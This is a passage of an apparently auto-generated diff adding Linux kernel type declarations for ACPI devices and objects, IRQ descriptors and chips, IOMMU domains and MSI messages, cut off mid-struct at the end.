+ +struct acpi_scan_handler; + +struct acpi_hotplug_context; + +struct acpi_gpio_mapping; + +struct acpi_device { + u32 pld_crc; + int device_type; + acpi_handle handle; + struct fwnode_handle fwnode; + struct list_head wakeup_list; + struct list_head del_list; + struct acpi_device_status status; + struct acpi_device_flags flags; + struct acpi_device_pnp pnp; + struct acpi_device_power power; + struct acpi_device_wakeup wakeup; + struct acpi_device_perf performance; + struct acpi_device_dir dir; + struct acpi_device_data data; + struct acpi_scan_handler *handler; + struct acpi_hotplug_context *hp; + const struct acpi_gpio_mapping *driver_gpios; + void *driver_data; + struct device dev; + unsigned int physical_node_count; + unsigned int dep_unmet; + struct list_head physical_node_list; + struct mutex physical_node_lock; + void (*remove)(struct acpi_device *); +}; + +struct acpi_scan_handler { + const struct acpi_device_id *ids; + struct list_head list_node; + bool (*match)(const char *, const struct acpi_device_id **); + int (*attach)(struct acpi_device *, const struct acpi_device_id *); + void (*detach)(struct acpi_device *); + void (*bind)(struct device *); + void (*unbind)(struct device *); + struct acpi_hotplug_profile hotplug; +}; + +struct acpi_hotplug_context { + struct acpi_device *self; + int (*notify)(struct acpi_device *, u32); + void (*uevent)(struct acpi_device *, u32); + void (*fixup)(struct acpi_device *); +}; + +struct acpi_hardware_id { + struct list_head list; + const char *id; +}; + +struct acpi_dep_data { + struct list_head node; + acpi_handle supplier; + acpi_handle consumer; + bool honor_dep; +}; + +struct acpi_device_perf_state { + struct { + u8 valid: 1; + u8 reserved: 7; + } flags; + u8 power; + u8 performance; + int latency; +}; + +struct acpi_device_physical_node { + unsigned int node_id; + struct list_head node; + struct device *dev; + bool put_online: 1; +}; + +struct acpi_gpio_params; + +struct acpi_gpio_mapping { + const char *name; + const struct acpi_gpio_params *data; + unsigned int size; + unsigned int quirks; +}; + +union acpi_subtable_headers { + struct acpi_subtable_header common; + struct acpi_hmat_structure hmat; + struct acpi_prmt_module_header prmt; + struct acpi_cedt_header cedt; +}; + +typedef int (*acpi_tbl_table_handler)(struct acpi_table_header *); + +typedef int (*acpi_tbl_entry_handler)(union acpi_subtable_headers *, const long unsigned int); + +enum acpi_reconfig_event { + ACPI_RECONFIG_DEVICE_ADD = 0, + ACPI_RECONFIG_DEVICE_REMOVE = 1, +}; + +struct acpi_probe_entry; + +typedef bool (*acpi_probe_entry_validate_subtbl)(struct acpi_subtable_header *, struct acpi_probe_entry *); + +struct acpi_probe_entry { + __u8 id[5]; + __u8 type; + acpi_probe_entry_validate_subtbl subtable_valid; + union { + acpi_tbl_table_handler probe_table; + acpi_tbl_entry_handler probe_subtbl; + }; + kernel_ulong_t driver_data; +}; + +struct irq_desc; + +typedef void (*irq_flow_handler_t)(struct irq_desc *); + +struct msi_desc; + +struct irq_common_data { + unsigned int state_use_accessors; + unsigned int node; + void *handler_data; + struct msi_desc *msi_desc; + cpumask_var_t affinity; + cpumask_var_t effective_affinity; +}; + +struct irq_chip; + +struct irq_data { + u32 mask; + unsigned int irq; + long unsigned int hwirq; + struct irq_common_data *common; + struct irq_chip *chip; + struct irq_domain *domain; + struct irq_data *parent_data; + void *chip_data; +}; + +struct irqaction; + +struct irq_affinity_notify; + +struct irq_desc { + struct irq_common_data irq_common_data; + struct irq_data irq_data; + unsigned int *kstat_irqs; + irq_flow_handler_t handle_irq; + struct irqaction *action; + unsigned int status_use_accessors; + unsigned int core_internal_state__do_not_mess_with_it; + unsigned int depth; + unsigned int wake_depth; + unsigned int tot_count; + unsigned int irq_count; + long unsigned int last_unhandled; + unsigned int irqs_unhandled; + atomic_t threads_handled; + int threads_handled_last; + raw_spinlock_t lock; + struct cpumask *percpu_enabled; + const struct cpumask *percpu_affinity; + const struct cpumask *affinity_hint; + struct irq_affinity_notify *affinity_notify; + cpumask_var_t pending_mask; + long unsigned int threads_oneshot; + atomic_t threads_active; + wait_queue_head_t wait_for_threads; + unsigned int nr_actions; + unsigned int no_suspend_depth; + unsigned int cond_suspend_depth; + unsigned int force_resume_depth; + struct proc_dir_entry *dir; + struct callback_head rcu; + struct kobject kobj; + struct mutex request_mutex; + int parent_irq; + struct module *owner; + const char *name; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct of_phandle_args { + struct device_node *np; + int args_count; + uint32_t args[16]; +}; + +enum irq_gc_flags { + IRQ_GC_INIT_MASK_CACHE = 1, + IRQ_GC_INIT_NESTED_LOCK = 2, + IRQ_GC_MASK_CACHE_PER_TYPE = 4, + IRQ_GC_NO_MASK = 8, + IRQ_GC_BE_IO = 16, +}; + +struct irq_chip_generic; + +struct irq_domain_chip_generic { + unsigned int irqs_per_chip; + unsigned int num_chips; + unsigned int irq_flags_to_clear; + unsigned int irq_flags_to_set; + enum irq_gc_flags gc_flags; + struct irq_chip_generic *gc[0]; +}; + +struct iommu_fault_unrecoverable { + __u32 reason; + __u32 flags; + __u32 pasid; + __u32 perm; + __u64 addr; + __u64 fetch_addr; +}; + +struct iommu_fault_page_request { + __u32 flags; + __u32 pasid; + __u32 grpid; + __u32 perm; + __u64 addr; + __u64 private_data[2]; +}; + +struct iommu_fault { + __u32 type; + __u32 padding; + union { + struct iommu_fault_unrecoverable event; + struct iommu_fault_page_request prm; + __u8 padding2[56]; + }; +}; + +enum iommu_page_response_code { + IOMMU_PAGE_RESP_SUCCESS = 0, + IOMMU_PAGE_RESP_INVALID = 1, + IOMMU_PAGE_RESP_FAILURE = 2, +}; + +struct iommu_page_response { + __u32 argsz; + __u32 version; + __u32 flags; + __u32 pasid; + __u32 grpid; + __u32 code; +}; + +typedef int (*iommu_fault_handler_t)(struct iommu_domain *, struct device *, long unsigned int, int, void *); + +struct iommu_domain_geometry { + dma_addr_t aperture_start; + dma_addr_t aperture_end; + bool force_aperture; +}; + +struct iommu_dma_cookie; + +struct iommu_domain { + unsigned int type; + const struct iommu_domain_ops *ops; + long unsigned int pgsize_bitmap; + struct iommu_domain_geometry geometry; + struct iommu_dma_cookie *iova_cookie; + enum iommu_page_response_code (*iopf_handler)(struct iommu_fault *, void *); + void *fault_data; + union { + struct { + iommu_fault_handler_t handler; + void *handler_token; + }; + struct { + struct mm_struct *mm; + int users; + }; + }; +}; + +typedef int (*iommu_dev_fault_handler_t)(struct iommu_fault *, void *); + +struct iommu_iotlb_gather; + +struct iommu_domain_ops { + int (*attach_dev)(struct iommu_domain *, struct device *); + int (*set_dev_pasid)(struct iommu_domain *, struct device *, ioasid_t); + int (*map)(struct iommu_domain *, long unsigned int, phys_addr_t, size_t, int, gfp_t); + int (*map_pages)(struct iommu_domain *, long unsigned int, phys_addr_t, size_t, size_t, int, gfp_t, size_t *); + size_t (*unmap)(struct iommu_domain *, long unsigned int, size_t, struct iommu_iotlb_gather *); + size_t (*unmap_pages)(struct iommu_domain *, long unsigned int, size_t, size_t, struct iommu_iotlb_gather *); + void (*flush_iotlb_all)(struct iommu_domain *); + void (*iotlb_sync_map)(struct iommu_domain *, long unsigned int, size_t); + void (*iotlb_sync)(struct iommu_domain *, struct iommu_iotlb_gather *); + phys_addr_t (*iova_to_phys)(struct iommu_domain *, dma_addr_t); + bool (*enforce_cache_coherency)(struct iommu_domain *); + int (*enable_nesting)(struct iommu_domain *); + int (*set_pgtable_quirks)(struct iommu_domain *, long unsigned int); + void (*free)(struct iommu_domain *); +}; + +struct iommu_iotlb_gather { + long unsigned int start; + long unsigned int end; + size_t pgsize; + struct list_head freelist; + bool queued; +}; + +struct iommu_device { + struct list_head list; + const struct iommu_ops *ops; + struct fwnode_handle *fwnode; + struct device *dev; + u32 max_pasids; +}; + +struct iommu_fault_event { + struct iommu_fault fault; + struct list_head list; +}; + +struct iommu_fault_param { + iommu_dev_fault_handler_t handler; + void *data; + struct list_head faults; + struct mutex lock; +}; + +struct iommu_fwspec { + const struct iommu_ops *ops; + struct fwnode_handle *iommu_fwnode; + u32 flags; + unsigned int num_ids; + u32 ids[0]; +}; + +enum msi_domain_ids { + MSI_DEFAULT_DOMAIN = 0, + MSI_SECONDARY_DOMAIN = 1, + MSI_MAX_DEVICE_IRQDOMAINS = 2, +}; + +union msi_instance_cookie { + u64 value; + void *ptr; +}; + +struct x86_msi_addr_lo { + union { + struct { + u32 reserved_0: 2; + u32 dest_mode_logical: 1; + u32 redirect_hint: 1; + u32 reserved_1: 1; + u32 virt_destid_8_14: 7; + u32 destid_0_7: 8; + u32 base_address: 12; + }; + struct { + u32 dmar_reserved_0: 2; + u32 dmar_index_15: 1; + u32 dmar_subhandle_valid: 1; + u32 dmar_format: 1; + u32 dmar_index_0_14: 15; + u32 dmar_base_address: 12; + }; + }; +}; + +typedef struct x86_msi_addr_lo arch_msi_msg_addr_lo_t; + +struct x86_msi_addr_hi { + u32 reserved: 8; + u32 destid_8_31: 24; +}; + +typedef struct x86_msi_addr_hi arch_msi_msg_addr_hi_t; + +struct x86_msi_data { + union { + struct { + u32 vector: 8; + u32 delivery_mode: 3; + u32 dest_mode_logical: 1; + u32 reserved: 2; + u32 active_low: 1; + u32 is_level: 1; + }; + u32 dmar_subhandle; + }; +}; + +typedef struct x86_msi_data arch_msi_msg_data_t; + +struct msi_msg { + union { + u32 address_lo; + arch_msi_msg_addr_lo_t arch_addr_lo; + }; + union { + u32 address_hi; + arch_msi_msg_addr_hi_t arch_addr_hi; + }; + union { + u32 data; + arch_msi_msg_data_t arch_data; + }; +}; + +struct pci_msi_desc { + union { + u32 msi_mask; + u32 msix_ctrl; + }; + struct { + u8 is_msix: 1; + u8 multiple: 3; + u8 multi_cap: 3; + u8 can_mask: 1; + u8 is_64: 1; + u8 is_virtual: 1; + unsigned int default_irq; + } msi_attrib; + union { + u8 mask_pos; + void *mask_base; + }; +}; + +union msi_domain_cookie { + u64 value; + void *ptr; + void *iobase; +}; + +struct msi_desc_data { + union msi_domain_cookie dcookie; + union msi_instance_cookie icookie; +}; + +struct irq_affinity_desc; + +struct msi_desc { + unsigned int irq; + unsigned int nvec_used; + struct device *dev; + struct msi_msg msg; + struct irq_affinity_desc *affinity; + const void *iommu_cookie; + struct device_attribute *sysfs_attrs; + void (*write_msi_msg)(struct msi_desc *, void *); + void *write_msi_msg_data; + u16 msi_index; + union { + struct pci_msi_desc pci; + struct msi_desc_data data; + }; +}; + +enum irqchip_irq_state { + IRQCHIP_STATE_PENDING = 0, + IRQCHIP_STATE_ACTIVE = 1, + IRQCHIP_STATE_MASKED = 2, + IRQCHIP_STATE_LINE_LEVEL = 3, +}; + +struct irq_chip { + const char *name; + unsigned int (*irq_startup)(struct irq_data *); + void (*irq_shutdown)(struct irq_data *); + void (*irq_enable)(struct irq_data *); + void (*irq_disable)(struct irq_data *); + void (*irq_ack)(struct irq_data *); + void (*irq_mask)(struct irq_data *); + void (*irq_mask_ack)(struct irq_data *); + void (*irq_unmask)(struct irq_data *); + void (*irq_eoi)(struct irq_data *); + int (*irq_set_affinity)(struct irq_data *, const struct cpumask *, bool); + int (*irq_retrigger)(struct irq_data *); + int (*irq_set_type)(struct irq_data *, unsigned int); + int (*irq_set_wake)(struct irq_data *, unsigned int); + void (*irq_bus_lock)(struct irq_data *); + void (*irq_bus_sync_unlock)(struct irq_data *); + void (*irq_suspend)(struct irq_data *); + void (*irq_resume)(struct irq_data *); + void (*irq_pm_shutdown)(struct irq_data *); + void (*irq_calc_mask)(struct irq_data *); + void (*irq_print_chip)(struct irq_data *, struct seq_file *); + int (*irq_request_resources)(struct irq_data *); + void (*irq_release_resources)(struct irq_data *); + void (*irq_compose_msi_msg)(struct irq_data *, struct msi_msg *); + void (*irq_write_msi_msg)(struct irq_data *, struct msi_msg *); + int (*irq_get_irqchip_state)(struct irq_data *, enum irqchip_irq_state, bool *); + int (*irq_set_irqchip_state)(struct irq_data *, enum irqchip_irq_state, bool); + int (*irq_set_vcpu_affinity)(struct irq_data *, void *); + void (*ipi_send_single)(struct irq_data *, unsigned int); + void (*ipi_send_mask)(struct irq_data *, const struct cpumask *); + int (*irq_nmi_setup)(struct irq_data *); + void (*irq_nmi_teardown)(struct irq_data *); + long unsigned int flags; +}; + +enum irq_alloc_type { + X86_IRQ_ALLOC_TYPE_IOAPIC = 1, + X86_IRQ_ALLOC_TYPE_HPET = 2, + X86_IRQ_ALLOC_TYPE_PCI_MSI = 3, + X86_IRQ_ALLOC_TYPE_PCI_MSIX = 4, + X86_IRQ_ALLOC_TYPE_DMAR = 5, + X86_IRQ_ALLOC_TYPE_AMDVI = 6, + X86_IRQ_ALLOC_TYPE_UV = 7, +}; + +struct ioapic_alloc_info { + int pin; + int node; + u32 is_level: 1; + u32 active_low: 1; + u32 valid: 1; +}; + +struct uv_alloc_info { + int limit; + int blade; + long unsigned int offset; + char *name; +}; + +struct irq_alloc_info { + enum irq_alloc_type type; + u32 flags; + u32 devid; + irq_hw_number_t hwirq; + const struct cpumask *mask; + struct msi_desc *desc; + void *data; + union { + struct ioapic_alloc_info ioapic; + struct uv_alloc_info uv; + }; +}; + +typedef struct irq_desc *vector_irq_t[256]; + +struct irq_chip_regs { + long unsigned int enable; + long unsigned int disable; + long unsigned int mask; + long unsigned int ack; + long unsigned int eoi; + long unsigned int type; + long unsigned int polarity; +}; + +struct irq_chip_type { + struct irq_chip chip; + struct irq_chip_regs regs; + irq_flow_handler_t handler; + u32 type; + u32 mask_cache_priv; + u32 *mask_cache; +}; + +struct irq_chip_generic { + raw_spinlock_t lock; + void *reg_base; + u32 (*reg_readl)(void *); + void (*reg_writel)(u32, void *); + void (*suspend)(struct irq_chip_generic *); + void (*resume)(struct irq_chip_generic *); + unsigned int irq_base; + unsigned int irq_cnt; + u32 mask_cache; + u32 type_cache; + u32 polarity_cache; + u32 wake_enabled; + u32 wake_active; + unsigned int num_ct; + void *private; + long unsigned int installed; + long unsigned int unused; + struct irq_domain *domain; + struct list_head list; + struct irq_chip_type chip_types[0]; +}; + +typedef struct irq_alloc_info msi_alloc_info_t; + +struct msi_domain_ops { + irq_hw_number_t (*get_hwirq)(struct msi_domain_info *, msi_alloc_info_t *); + int (*msi_init)(struct irq_domain *, struct msi_domain_info *, unsigned int, irq_hw_number_t, msi_alloc_info_t *); + void (*msi_free)(struct irq_domain *, struct msi_domain_info *, unsigned int); + int (*msi_prepare)(struct irq_domain *, struct device *, int, msi_alloc_info_t *); + void (*prepare_desc)(struct irq_domain *, msi_alloc_info_t *, struct msi_desc *); + void (*set_desc)(msi_alloc_info_t *, struct msi_desc *); + int (*domain_alloc_irqs)(struct irq_domain *, struct device *, int); + void (*domain_free_irqs)(struct irq_domain *, struct device *); + void (*msi_post_free)(struct irq_domain *, struct device *); +}; + +struct msi_domain_info { + u32 flags; + enum irq_domain_bus_token bus_token; + unsigned int hwsize; + struct msi_domain_ops *ops; + struct irq_chip *chip; + void *chip_data; + irq_flow_handler_t handler; + void *handler_data; + const char *handler_name; + void *data; +}; + +struct acpi_device_bus_id { + const char *bus_id; + struct ida instance_ida; + struct list_head node; +}; + +enum acpi_ec_event_state { + EC_EVENT_READY = 0, + EC_EVENT_IN_PROGRESS = 1, + EC_EVENT_COMPLETE = 2, +}; + +struct transaction; + +struct acpi_ec { + acpi_handle handle; + acpi_handle address_space_handler_holder; + int gpe; + int irq; + long unsigned int command_addr; + long unsigned int data_addr; + bool global_lock; + long unsigned int flags; + long unsigned int reference_count; + struct mutex mutex; + wait_queue_head_t wait; + struct list_head list; + struct transaction *curr; + spinlock_t lock; + struct work_struct work; + long unsigned int timestamp; + enum acpi_ec_event_state event_state; + unsigned int events_to_process; + unsigned int events_in_progress; + unsigned int queries_in_progress; + bool busy_polling; + unsigned int polling_guard; +}; + +struct acpi_scan_clear_dep_work { + struct work_struct work; + struct acpi_device *adev; +}; + +typedef u64 acpi_physical_address; + +typedef u32 acpi_name; + +typedef char *acpi_string; + +typedef u16 acpi_owner_id; + +typedef u8 acpi_adr_space_type; + +struct acpi_predefined_names { + const char *name; + u8 type; + char *val; +}; + +typedef u32 (*acpi_sci_handler)(void *); + +typedef void (*acpi_gbl_event_handler)(u32, acpi_handle, u32, void *); + +typedef u32 (*acpi_event_handler)(void *); + +typedef u32 (*acpi_gpe_handler)(acpi_handle, u32, void *); + +typedef void (*acpi_notify_handler)(acpi_handle, u32, void *); + +typedef void (*acpi_object_handler)(acpi_handle, void *); + +typedef acpi_status (*acpi_init_handler)(acpi_handle, u32); + +typedef acpi_status (*acpi_exception_handler)(acpi_status, acpi_name, u16, u32, void *); + +typedef acpi_status (*acpi_table_handler)(u32, void *, void *); + +typedef acpi_status (*acpi_adr_space_handler)(u32, acpi_physical_address, u32, u64 *, void *, void *); + +typedef acpi_status (*acpi_adr_space_setup)(acpi_handle, u32, void *, void **); + +typedef u32 (*acpi_interface_handler)(acpi_string, u32); + +struct acpi_table_facs { + char signature[4]; + u32 length; + u32 hardware_signature; + u32 firmware_waking_vector; + u32 global_lock; + u32 flags; + u64 xfirmware_waking_vector; + u8 version; + u8 reserved[3]; + u32 ospm_flags; + u8 reserved1[24]; +}; + +union acpi_name_union { + u32 integer; + char ascii[4]; +}; + +struct acpi_table_desc { + acpi_physical_address address; + struct acpi_table_header *pointer; + u32 length; + union acpi_name_union signature; + acpi_owner_id owner_id; + u8 flags; + u16 validation_count; +}; + +struct acpi_rw_lock { + void *writer_mutex; + void *reader_mutex; + u32 num_readers; +}; + +struct acpi_mutex_info { + void *mutex; + u32 use_count; + u64 thread_id; +}; + +union acpi_operand_object; + +struct acpi_namespace_node { + union acpi_operand_object *object; + u8 descriptor_type; + u8 type; + u16 flags; + union acpi_name_union name; + struct acpi_namespace_node *parent; + struct acpi_namespace_node *child; + struct acpi_namespace_node *peer; + acpi_owner_id owner_id; +}; + +struct acpi_object_common { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; +}; + +struct acpi_object_integer { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 fill[3]; + u64 value; +}; + +struct acpi_object_string { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + char *pointer; + u32 length; +}; + +struct acpi_object_buffer { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 *pointer; + u32 length; + u32 aml_length; + u8 *aml_start; + struct acpi_namespace_node *node; +}; + +struct acpi_object_package { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + struct acpi_namespace_node *node; + union acpi_operand_object **elements; + u8 *aml_start; + u32 aml_length; + u32 count; +}; + +struct acpi_object_event { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + void *os_semaphore; +}; + +struct acpi_walk_state; + +typedef acpi_status (*acpi_internal_method)(struct acpi_walk_state *); + +struct acpi_object_method { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 info_flags; + u8 param_count; + u8 sync_level; + union acpi_operand_object *mutex; + union acpi_operand_object *node; + u8 *aml_start; + union { + acpi_internal_method implementation; + union acpi_operand_object *handler; + } dispatch; + u32 aml_length; + acpi_owner_id owner_id; + u8 thread_count; +}; + +struct acpi_thread_state; + +struct acpi_object_mutex { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 sync_level; + u16 acquisition_depth; + void *os_mutex; + u64 thread_id; + struct acpi_thread_state *owner_thread; + union acpi_operand_object *prev; + union acpi_operand_object *next; + struct acpi_namespace_node *node; + u8 original_sync_level; +}; + +struct acpi_object_region { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 space_id; + struct acpi_namespace_node *node; + union acpi_operand_object *handler; + union acpi_operand_object *next; + acpi_physical_address address; + u32 length; + void *pointer; +}; + +struct acpi_object_notify_common { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; +}; + +struct acpi_gpe_block_info; + +struct acpi_object_device { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; + struct acpi_gpe_block_info *gpe_block; +}; + +struct acpi_object_power_resource { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; + u32 system_level; + u32 resource_order; +}; + +struct acpi_object_processor { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 proc_id; + u8 length; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; + acpi_io_address address; +}; + +struct acpi_object_thermal_zone { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; +}; + +struct acpi_object_field_common { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + union acpi_operand_object *region_obj; +}; + +struct acpi_object_region_field { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + u16 resource_length; + union acpi_operand_object *region_obj; + u8 *resource_buffer; + u16 pin_number_index; + u8 *internal_pcc_buffer; +}; + +struct acpi_object_buffer_field { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + u8 is_create_field; + union acpi_operand_object *buffer_obj; +}; + +struct acpi_object_bank_field { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + union acpi_operand_object *region_obj; + union acpi_operand_object *bank_obj; +}; + +struct acpi_object_index_field { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + union acpi_operand_object *index_obj; + union acpi_operand_object *data_obj; +}; + +struct acpi_object_notify_handler { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + struct acpi_namespace_node *node; + u32 handler_type; + acpi_notify_handler handler; + void *context; + union acpi_operand_object *next[2]; +}; + +struct acpi_object_addr_handler { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 space_id; + u8 handler_flags; + acpi_adr_space_handler handler; + struct acpi_namespace_node *node; + void *context; + void *context_mutex; + acpi_adr_space_setup setup; + union acpi_operand_object *region_list; + union acpi_operand_object *next; +}; + +struct acpi_object_reference { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 class; + u8 target_type; + u8 resolved; + void *object; + struct acpi_namespace_node *node; + union acpi_operand_object **where; + u8 *index_pointer; + u8 *aml; + u32 value; +}; + +struct acpi_object_extra { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + struct acpi_namespace_node *method_REG; + struct acpi_namespace_node *scope_node; + void *region_context; + u8 *aml_start; + u32 aml_length; +}; + +struct acpi_object_data { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + acpi_object_handler handler; + void *pointer; +}; + +struct acpi_object_cache_list { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *next; +}; + +union acpi_operand_object { + struct acpi_object_common common; + struct acpi_object_integer integer; + struct acpi_object_string string; + struct acpi_object_buffer buffer; + struct acpi_object_package package; + struct acpi_object_event event; + struct acpi_object_method method; + struct acpi_object_mutex mutex; + struct acpi_object_region region; + struct acpi_object_notify_common common_notify; + struct acpi_object_device device; + struct acpi_object_power_resource power_resource; + struct acpi_object_processor processor; + struct acpi_object_thermal_zone thermal_zone; + struct acpi_object_field_common common_field; + struct acpi_object_region_field field; + struct acpi_object_buffer_field buffer_field; + struct acpi_object_bank_field bank_field; + struct acpi_object_index_field index_field; + struct acpi_object_notify_handler notify; + struct acpi_object_addr_handler address_space; + struct acpi_object_reference reference; + struct acpi_object_extra extra; + struct acpi_object_data data; + struct acpi_object_cache_list cache; + struct acpi_namespace_node node; +}; + +struct acpi_table_list { + struct acpi_table_desc *tables; + u32 current_table_count; + u32 max_table_count; + u8 flags; +}; + +union acpi_parse_object; + +union acpi_generic_state; + +struct acpi_parse_state { + u8 *aml_start; + u8 *aml; + u8 *aml_end; + u8 *pkg_start; + u8 *pkg_end; + union acpi_parse_object *start_op; + struct acpi_namespace_node *start_node; + union acpi_generic_state *scope; + union acpi_parse_object *start_scope; + u32 aml_size; +}; + +typedef acpi_status (*acpi_parse_downwards)(struct acpi_walk_state *, union acpi_parse_object **); + +typedef acpi_status (*acpi_parse_upwards)(struct acpi_walk_state *); + +struct acpi_opcode_info; + +struct acpi_walk_state { + struct acpi_walk_state *next; + u8 descriptor_type; + u8 walk_type; + u16 opcode; + u8 next_op_info; + u8 num_operands; + u8 operand_index; + acpi_owner_id owner_id; + u8 last_predicate; + u8 current_result; + u8 return_used; + u8 scope_depth; + u8 pass_number; + u8 namespace_override; + u8 result_size; + u8 result_count; + u8 *aml; + u32 arg_types; + u32 method_breakpoint; + u32 user_breakpoint; + u32 parse_flags; + struct acpi_parse_state parser_state; + u32 prev_arg_types; + u32 arg_count; + u16 method_nesting_depth; + u8 method_is_nested; + struct acpi_namespace_node arguments[7]; + struct acpi_namespace_node local_variables[8]; + union acpi_operand_object *operands[9]; + union acpi_operand_object **params; + u8 *aml_last_while; + union acpi_operand_object **caller_return_desc; + union acpi_generic_state *control_state; + struct acpi_namespace_node *deferred_node; + union acpi_operand_object *implicit_return_obj; + struct acpi_namespace_node *method_call_node; + union acpi_parse_object *method_call_op; + union acpi_operand_object *method_desc; + struct acpi_namespace_node *method_node; + char *method_pathname; + union acpi_parse_object *op; + const struct acpi_opcode_info *op_info; + union acpi_parse_object *origin; + union acpi_operand_object *result_obj; + union acpi_generic_state *results; + union acpi_operand_object *return_desc; + union acpi_generic_state *scope_info; + union acpi_parse_object *prev_op; + union acpi_parse_object *next_op; + struct acpi_thread_state *thread; + acpi_parse_downwards descending_callback; + acpi_parse_upwards ascending_callback; +}; + +struct acpi_sci_handler_info { + struct acpi_sci_handler_info *next; + acpi_sci_handler address; + void *context; +}; + +struct acpi_gpe_handler_info { + acpi_gpe_handler address; + void *context; + struct acpi_namespace_node *method_node; + u8 original_flags; + u8 originally_enabled; +}; + +struct acpi_gpe_notify_info { + struct acpi_namespace_node *device_node; + struct acpi_gpe_notify_info *next; +}; + +union acpi_gpe_dispatch_info { + struct acpi_namespace_node *method_node; + struct acpi_gpe_handler_info *handler; + struct acpi_gpe_notify_info *notify_list; +}; + +struct acpi_gpe_register_info; + +struct acpi_gpe_event_info { + union acpi_gpe_dispatch_info dispatch; + struct acpi_gpe_register_info *register_info; + u8 flags; + u8 gpe_number; + u8 runtime_count; + u8 disable_for_dispatch; +}; + +struct acpi_gpe_address { + u8 space_id; + u64 address; +}; + +struct acpi_gpe_register_info { + struct acpi_gpe_address status_address; + struct acpi_gpe_address enable_address; + u16 base_gpe_number; + u8 enable_for_wake; + u8 enable_for_run; + u8 mask_for_run; + u8 enable_mask; +}; + +struct acpi_gpe_xrupt_info; + +struct acpi_gpe_block_info { + struct acpi_namespace_node *node; + struct acpi_gpe_block_info *previous; + struct acpi_gpe_block_info *next; + struct acpi_gpe_xrupt_info *xrupt_block; + struct acpi_gpe_register_info *register_info; + struct acpi_gpe_event_info *event_info; + u64 address; + u32 register_count; + u16 gpe_count; + u16 block_base_number; + u8 space_id; + u8 initialized; +}; + +struct acpi_gpe_xrupt_info { + struct acpi_gpe_xrupt_info *previous; + struct acpi_gpe_xrupt_info *next; + struct acpi_gpe_block_info *gpe_block_list_head; + u32 interrupt_number; +}; + +struct acpi_fixed_event_handler { + acpi_event_handler handler; + void *context; +}; + +struct acpi_fixed_event_info { + u8 status_register_id; + u8 enable_register_id; + u16 status_bit_mask; + u16 enable_bit_mask; +}; + +struct acpi_common_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; +}; + +struct acpi_update_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + union acpi_operand_object *object; +}; + +struct acpi_pkg_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u32 index; + union acpi_operand_object *source_object; + union acpi_operand_object *dest_object; + struct acpi_walk_state *walk_state; + void *this_target_obj; + u32 num_packages; +}; + +struct acpi_control_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u16 opcode; + union acpi_parse_object *predicate_op; + u8 *aml_predicate_start; + u8 *package_end; + u64 loop_timeout; +}; + +union acpi_parse_value { + u64 integer; + u32 size; + char *string; + u8 *buffer; + char *name; + union acpi_parse_object *arg; +}; + +struct acpi_parse_obj_common { + union acpi_parse_object *parent; 